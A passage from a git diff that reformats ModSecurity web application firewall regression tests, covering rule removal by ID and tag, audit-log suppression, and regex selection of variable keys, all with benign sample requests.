"server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/remote.php/webdav?bar=foo", - "method":"GET", - "body": "" - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_FILENAME \"@contains /remote.php/webdav\" \"id:1000001,phase:2,pass,t:none,nolog,ctl:ruleRemoveByTag=attack-injection-php,ctl:ruleRemoveById=1100000-2100000,ctl:ruleRemoveById=9990000\"", - "SecRule ARGS \"@contains foo\" \"id:4400000,tag:'attack-injection-php',phase:2,t:none,msg:'test rule',drop\"" + "uri": "/remote.php/webdav?bar=foo", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_FILENAME \"@contains /remote.php/webdav\" \"id:1000001,phase:2,pass,t:none,nolog,ctl:ruleRemoveByTag=attack-injection-php,ctl:ruleRemoveById=1100000-2100000,ctl:ruleRemoveById=9990000\"", + "SecRule ARGS \"@contains foo\" \"id:4400000,tag:'attack-injection-php',phase:2,t:none,msg:'test rule',drop\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing ctl:ruleRemoveByTag against - issue 2099", - "expected":{ - "http_code":403 - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing ctl:ruleRemoveByTag against - issue 2099", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/remote.php?bar=foo", - "method":"GET", - "body": "" - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_FILENAME \"@contains /remote.php/webdav\" \"id:1000001,phase:2,pass,t:none,nolog,ctl:ruleRemoveByTag=attack-injection-php,ctl:ruleRemoveById=1100000-2100000,ctl:ruleRemoveById=9990000\"", - "SecRule ARGS \"@contains foo\" \"id:4400000,tag:'attack-injection-php',phase:2,t:none,msg:'test rule',drop\"" + "uri": "/remote.php?bar=foo", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_FILENAME \"@contains /remote.php/webdav\" \"id:1000001,phase:2,pass,t:none,nolog,ctl:ruleRemoveByTag=attack-injection-php,ctl:ruleRemoveById=1100000-2100000,ctl:ruleRemoveById=9990000\"", + "SecRule ARGS \"@contains foo\" \"id:4400000,tag:'attack-injection-php',phase:2,t:none,msg:'test rule',drop\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing ctl:ruleRemoveTargetByTag - issue 2099", - "expected":{ - "http_code":200 - }, - "client":{ - "ip":"1.2.3.4", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing ctl:ruleRemoveTargetByTag - issue 2099", + "client": { + "ip": "1.2.3.4", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/test.php?a=a", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/test.php?a=a", - "method":"GET", - "body": "" - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_URI \"@contains /test.php\" \"id:100,phase:1,nolog,pass,ctl:ruleRemoveTargetByTag=attack-injection-php;ARGS:a,ctl:ruleRemoveTargetByTag=attack-rce;ARGS:a\"", - "SecRule ARGS \"@contains a\" \"id:4400000,tag:'attack-injection-php',phase:2,t:none,msg:'test rule',drop\"" + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_URI \"@contains /test.php\" \"id:100,phase:1,nolog,pass,ctl:ruleRemoveTargetByTag=attack-injection-php;ARGS:a,ctl:ruleRemoveTargetByTag=attack-rce;ARGS:a\"", + "SecRule ARGS \"@contains a\" \"id:4400000,tag:'attack-injection-php',phase:2,t:none,msg:'test rule',drop\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing ctl:ruleRemoveTargetByTag against - issue 2099", - "expected":{ - "http_code":403 - }, - "client":{ - "ip":"1.2.3.4", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing ctl:ruleRemoveTargetByTag against - issue 2099", + "client": { + "ip": "1.2.3.4", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/index.php?a=a", - "method":"GET", - "body": "" - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_URI \"@contains /test.php\" \"id:100,phase:1,nolog,pass,ctl:ruleRemoveTargetByTag=attack-injection-php;ARGS:a,ctl:ruleRemoveTargetByTag=attack-rce;ARGS:a\"", - "SecRule ARGS \"@contains a\" \"id:4400000,tag:'attack-injection-php',phase:2,t:none,msg:'test rule',drop\"" + "uri": "/index.php?a=a", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_URI \"@contains /test.php\" \"id:100,phase:1,nolog,pass,ctl:ruleRemoveTargetByTag=attack-injection-php;ARGS:a,ctl:ruleRemoveTargetByTag=attack-rce;ARGS:a\"", + "SecRule ARGS \"@contains a\" \"id:4400000,tag:'attack-injection-php',phase:2,t:none,msg:'test rule',drop\"" ] - } + } ] - diff --git a/test/test-cases/regression/issue-2111.json b/test/test-cases/regression/issue-2111.json index c3faa7d216..faa8fc6aa8 100644 --- a/test/test-cases/regression/issue-2111.json +++ b/test/test-cases/regression/issue-2111.json @@ -1,33 +1,44 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing ctl:ruleRemoveById with range - issue 1444", - "expected":{ - "http_code":200 + "enabled": 1, + "version_min": 300000, + "title": "Testing ctl:ruleRemoveById with range - issue 1444", + "client": { + "ip": "127.0.0.1", + "port": 123 }, - "client":{ - "ip":"127.0.0.1", - "port":123 + "server": { + "ip": "127.0.0.1", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"index.php?foo=bar&z=xxx", - "method":"GET", - "body": "" + "uri": "index.php?foo=bar&z=xxx", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"127.0.0.1", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule ARGS:foo \"@rx ^bar$\" \"id:100,phase:1,ctl:ruleRemoveById=200-1999\"", - "SecRule ARGS:z \"@rx ^xxx$\" \"id:1010,phase:1,deny,status:403\"" + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:foo \"@rx ^bar$\" \"id:100,phase:1,ctl:ruleRemoveById=200-1999\"", + "SecRule ARGS:z \"@rx ^xxx$\" \"id:1010,phase:1,deny,status:403\"" ] } ] diff --git a/test/test-cases/regression/issue-2196.json b/test/test-cases/regression/issue-2196.json index 44347bd08d..83f142f452 100644 --- a/test/test-cases/regression/issue-2196.json +++ b/test/test-cases/regression/issue-2196.json @@ -1,35 +1,42 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing audit log not written when nolog - issue-2196", - "expected":{ - "http_code":200 + "enabled": 1, + "version_min": 300000, + "title": "Testing audit log not written when nolog - issue-2196", + "client": { + "ip": "127.0.0.1", + "port": 123 }, - "client":{ - "ip":"127.0.0.1", - "port":123 + "server": { + "ip": "127.0.0.1", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"index.php?foo=bar&a=xxx", - "method":"GET", - "body": "" + "uri": "index.php?foo=bar&a=xxx", + "method": "GET", + "body": [ + "" + ] }, - "expected": { - "http_code": 200, - "audit_log": "\\A[\\s\\S]{0}\\z" + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - - "server":{ - "ip":"127.0.0.1", - "port":80 + "expected": { + "audit_log": "\\A[\\s\\S]{0}\\z", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAuditLogParts ABIJDEFHZ", "SecAuditEngine RelevantOnly", diff --git a/test/test-cases/regression/issue-2296.json b/test/test-cases/regression/issue-2296.json index bc64d19bd2..4947aee1c1 100644 --- a/test/test-cases/regression/issue-2296.json +++ b/test/test-cases/regression/issue-2296.json @@ -1,433 +1,472 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Variable key selection using a regular expression (1/n)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/2296", - "gihub_issue": 2296, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "name1": "value1" + "enabled": 1, + "version_min": 300000, + "title": "Variable key selection using a regular expression (1/n)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/2296", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "name1": "value1", + "Content-Length": "0" }, - "uri":"/?THIS=is+a+simple+test", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?THIS=is+a+simple+test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200, - "debug_log":"Target value: \"is a simple test\"", - "error_log":"Operator `Rx' with parameter `test' against variable `ARGS:THIS'" + "expected": { + "debug_log": "Target value: \"is a simple test\"", + "error_log": "Operator `Rx' with parameter `test' against variable `ARGS:THIS'", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule ARGS:/^ThIs$/ \"test\" \"id:1\"" + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:/^ThIs$/ \"test\" \"id:1\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable key selection using a regular expression (2/n)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/2296", - "gihub_issue": 2296, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "name1": "value1" + "enabled": 1, + "version_min": 300000, + "title": "Variable key selection using a regular expression (2/n)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/2296", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "name1": "value1", + "Content-Length": "0" }, - "uri":"/?THIS=is+a+simple+test", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?THIS=is+a+simple+test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200, - "debug_log":"Rule returned 0", - "error_log":"" + "expected": { + "debug_log": "Rule returned 0", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule ARGS:/^ThIz$/ \"test\" \"id:1,deny,status:302\"" + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:/^ThIz$/ \"test\" \"id:1,deny,status:302\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable key selection using a regular expression - msg (3/n)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/2296", - "gihub_issue": 2296, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "name1": "value1" + "enabled": 1, + "version_min": 300000, + "title": "Variable key selection using a regular expression - msg (3/n)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/2296", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "name1": "value1", + "Content-Length": "0" }, - "uri":"/?THIS=is+a+simple+test", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?THIS=is+a+simple+test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200, - "debug_log":"Target value: \"is a simple test\"", - "error_log":"msg \"Testing is a simple test\"" + "expected": { + "debug_log": "Target value: \"is a simple test\"", + "error_log": "msg \"Testing is a simple test\"", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule ARGS:/^ThIs$/ \"test\" \"id:1,msg:'Testing %{ARGS:/^ThIs$/}'\"" + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:/^ThIs$/ \"test\" \"id:1,msg:'Testing %{ARGS:/^ThIs$/}'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable key selection using a regular expression - matched_vars (4/n)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/2296", - "gihub_issue": 2296, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "name1": "value1" + "enabled": 1, + "version_min": 300000, + "title": "Variable key selection using a regular expression - matched_vars (4/n)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/2296", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "name1": "value1", + "Content-Length": "0" }, - "uri":"/?THIS=is+a+simple+test", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?THIS=is+a+simple+test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200, - "debug_log":"Target value: \"is a simple test\"", - "error_log":"msg \"Testing is a simple test\"" + "expected": { + "debug_log": "Target value: \"is a simple test\"", + "error_log": "msg \"Testing is a simple test\"", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule ARGS:/^ThIs$/ \"test\" \"id:1,msg:'Testing %{ARGS:/^ThIs$/}',chain\"", - "SecRule MATCHED_VARS:/thIs/ \"is a simple test\" \"log\"" + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:/^ThIs$/ \"test\" \"id:1,msg:'Testing %{ARGS:/^ThIs$/}',chain\"", + "SecRule MATCHED_VARS:/thIs/ \"is a simple test\" \"log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable key selection using a regular expression - rule (5/n)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/2296", - "gihub_issue": 2296, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "name1": "value1" + "enabled": 1, + "version_min": 300000, + "title": "Variable key selection using a regular expression - rule (5/n)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/2296", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "name1": "value1", + "Content-Length": "0" }, - "uri":"/?THIS=is+a+simple+test", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?THIS=is+a+simple+test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":403, - "debug_log":"Target value: .1. .Variable: RULE:id.", - "error_log":"Operator `Rx' with parameter `1' against variable `RULE:id' .Value: `1' ." + "expected": { + "debug_log": "Target value: .1. .Variable: RULE:id.", + "error_log": "Operator `Rx' with parameter `1' against variable `RULE:id' .Value: `1' .", + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRule RULE:/^Id$/ \"1\" \"id:1,msg:'Testing %{RULE.id}% -- ',deny\"" + "rules": [ + "SecRuleEngine On", + "SecRule RULE:/^Id$/ \"1\" \"id:1,msg:'Testing %{RULE.id}% -- ',deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable key selection using a regular expression - TX (6/n)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/2296", - "gihub_issue": 2296, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "name1": "value1" + "enabled": 1, + "version_min": 300000, + "title": "Variable key selection using a regular expression - TX (6/n)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/2296", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "name1": "value1", + "Content-Length": "0" }, - "uri":"/", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":437, - "error_log":"`Within' with parameter `/name1/' against variable `TX:header_name_name1'" + "expected": { + "error_log": "`Within' with parameter `/name1/' against variable `TX:header_name_name1'", + "http_code": 437 }, - "rules":[ - "SecRuleEngine On", - "SecAction \"id:1,phase:1,setvar:'TX.restricted_headers=/name1/'\"", - "SecRule REQUEST_HEADERS_NAMES \"^.*$\" \"id:2,phase:2,setvar:'tx.header_name_%{tx.0}=/%{tx.0}/',deny,status:437,chain,capture\"", - "SecRule TX:/^header_name_/ \"@within %{TX:/esTrictEd_headers/}\" \"setvar:'tx.matched=1'\"" + "rules": [ + "SecRuleEngine On", + "SecAction \"id:1,phase:1,setvar:'TX.restricted_headers=/name1/'\"", + "SecRule REQUEST_HEADERS_NAMES \"^.*$\" \"id:2,phase:2,setvar:'tx.header_name_%{tx.0}=/%{tx.0}/',deny,status:437,chain,capture\"", + "SecRule TX:/^header_name_/ \"@within %{TX:/esTrictEd_headers/}\" \"setvar:'tx.matched=1'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable key selection using a regular expression - TX (7/n)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/2296", - "gihub_issue": 2296, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "name1": "value1" + "enabled": 1, + "version_min": 300000, + "title": "Variable key selection using a regular expression - TX (7/n)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/2296", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "name1": "value1", + "Content-Length": "0" }, - "uri":"/", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":437, - "error_log":"`Within' with parameter `/name1/' against variable `TX:header_name_name1'" + "expected": { + "error_log": "`Within' with parameter `/name1/' against variable `TX:header_name_name1'", + "http_code": 437 }, - "rules":[ - "SecRuleEngine On", - "SecAction \"id:1,phase:1,setvar:'TX.restricted_headers=/name1/'\"", - "SecRule REQUEST_HEADERS_NAMES \"^.*$\" \"id:2,phase:2,setvar:'tx.header_name_%{tx.0}=/%{tx.0}/',deny,status:437,capture,chain\"", - "SecRule TX:/^HEADER_NAME_/ \"@within %{tx.restricted_headers}\" \"setvar:'tx.matched=1',log\"" + "rules": [ + "SecRuleEngine On", + "SecAction \"id:1,phase:1,setvar:'TX.restricted_headers=/name1/'\"", + "SecRule REQUEST_HEADERS_NAMES \"^.*$\" \"id:2,phase:2,setvar:'tx.header_name_%{tx.0}=/%{tx.0}/',deny,status:437,capture,chain\"", + "SecRule TX:/^HEADER_NAME_/ \"@within %{tx.restricted_headers}\" \"setvar:'tx.matched=1',log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable key selection using a regular expression - exclusion (8/n)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/2296", - "gihub_issue": 2296, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "name1": "value1" + "enabled": 1, + "version_min": 300000, + "title": "Variable key selection using a regular expression - exclusion (8/n)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/2296", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "name1": "value1", + "Content-Length": "0" }, - "uri":"/?THIS=is+a+simple+test", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?THIS=is+a+simple+test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule ARGS \"test\" \"id:1,msg:'Testing %{ARGS:/^ThIs$/}',deny,status:500,chain\"", - "SecRule MATCHED_VARS:/thIs/ \"is a simple test\" \"log\"", - "SecRuleUpdateTargetById 1 !ARGS:/ThIs/" + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"test\" \"id:1,msg:'Testing %{ARGS:/^ThIs$/}',deny,status:500,chain\"", + "SecRule MATCHED_VARS:/thIs/ \"is a simple test\" \"log\"", + "SecRuleUpdateTargetById 1 !ARGS:/ThIs/" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable key selection using a regular expression - exclusion/ARGS (9/n)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/2296", - "gihub_issue": 2296, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "name1": "value1" + "enabled": 1, + "version_min": 300000, + "title": "Variable key selection using a regular expression - exclusion/ARGS (9/n)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/2296", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "name1": "value1", + "Content-Length": "0" }, - "uri":"/?THIS=is+a+simple+test", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?THIS=is+a+simple+test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule ARGS|!ARGS:/tHiS/ \"test\" \"id:1,msg:'Testing %{ARGS:/^ThIs$/}',deny,status:500,chain\"", - "SecRule MATCHED_VARS:/thIs/ \"is a simple test\" \"log\"" + "rules": [ + "SecRuleEngine On", + "SecRule ARGS|!ARGS:/tHiS/ \"test\" \"id:1,msg:'Testing %{ARGS:/^ThIs$/}',deny,status:500,chain\"", + "SecRule MATCHED_VARS:/thIs/ \"is a simple test\" \"log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable key selection using a regular expression - exclusion/TX (10/n)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/2296", - "gihub_issue": 2296, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "name1": "value1" + "enabled": 1, + "version_min": 300000, + "title": "Variable key selection using a regular expression - exclusion/TX (10/n)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/2296", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "name1": "value1", + "Content-Length": "0" }, - "uri":"/?THIS=is+a+simple+test", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?THIS=is+a+simple+test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - 